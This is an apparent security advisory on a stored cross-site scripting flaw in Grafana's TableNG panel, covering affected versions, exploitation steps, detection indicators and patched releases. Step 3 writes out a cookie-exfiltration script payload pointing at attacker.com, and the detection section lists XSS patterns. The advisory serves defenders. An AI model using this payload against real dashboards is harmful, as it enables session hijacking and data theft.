CVE-2026-8595: 
Grafana vulnerability analysis and mitigation

CVE-2026-8595 is a stored cross-site scripting (XSS) vulnerability in Grafana OSS affecting the TableNG (table) panel component. A user with Editor permissions can craft a dashboard containing a malicious field name in a TableNG panel that executes as a script in the browser of any user who views the dashboard. The vulnerability affects Grafana OSS versions 12.4.0 through 12.4.3 and 13.0.0 through 13.0.1. It was published on July 10, 2026, with patches released shortly after. The CVSS v3.1 base score is 5.4 (Medium) per NVD, though the GitHub Advisory Database rates it 6.8 (Moderate) (GitHub Advisory, Grafana Advisory).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the TableNG panel's field name rendering logic in Grafana dashboards. An authenticated attacker with the Editor role can set a dashboard table panel's field name to a malicious JavaScript payload; because the field name is stored server-side and rendered without adequate sanitization, the script executes in the browser context of any subsequent viewer. Exploitation requires the attacker to have at least Editor-level access to Grafana and requires a victim user to view the crafted dashboard — no further interaction is needed beyond that page load (GitHub Advisory, Grafana Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user — including administrators — who views the compromised dashboard. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying other dashboards or exfiltrating data visible to the victim), and potential privilege escalation if an administrator's session is hijacked. Confidentiality and integrity are both partially impacted, while availability is not directly affected (GitHub Advisory, Grafana Advisory).

1. Gain Editor Access: Obtain or compromise a Grafana account with at least Editor-level permissions on the target Grafana instance (versions 12.4.0–12.4.3 or 13.0.0–13.0.1).
2. Create or Edit a Dashboard: Navigate to an existing dashboard or create a new one that includes a TableNG (table) panel.
3. Inject Malicious Field Name: In the TableNG panel configuration, set a field name (or field override name) to a JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector.
4. Save and Share the Dashboard: Save the dashboard. The malicious field name is now stored server-side and will be rendered for all viewers.
5. Victim Views Dashboard: When any Grafana user (including admins) opens the dashboard, the malicious script executes in their browser, enabling session token theft, credential harvesting, or other unauthorized actions on behalf of the victim (GitHub Advisory, Grafana Advisory).

• Logs: Grafana audit logs showing dashboard edits by Editor-role users that introduce unusual or encoded strings in TableNG panel field name configurations; review dashboard JSON for <script>, javascript:, onerror=, or other XSS patterns in field name fields.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after loading a Grafana dashboard (e.g., cookie exfiltration endpoints); browser developer tool network logs showing requests to attacker-controlled infrastructure.
• File System / Dashboard Config: Dashboard JSON stored in Grafana's database containing HTML or JavaScript tags within fieldConfig or overrides field name properties in TableNG panels.
• Process/Application: Unexpected JavaScript errors or console output in browser developer tools when viewing specific dashboards; anomalous API calls to Grafana endpoints (e.g., /api/dashboards/) originating from victim sessions shortly after dashboard views.

Grafana has released patched versions: 12.4.4 and 13.0.2, which address this vulnerability. Users should upgrade to these versions immediately (Grafana Advisory, GitHub Advisory). As an interim workaround, restrict the Editor role to trusted users only and audit existing dashboards for suspicious field names in TableNG panels. Monitor browser consoles for unexpected script execution when viewing dashboards. An openSUSE security announcement also references this fix for downstream packages (openSUSE Security).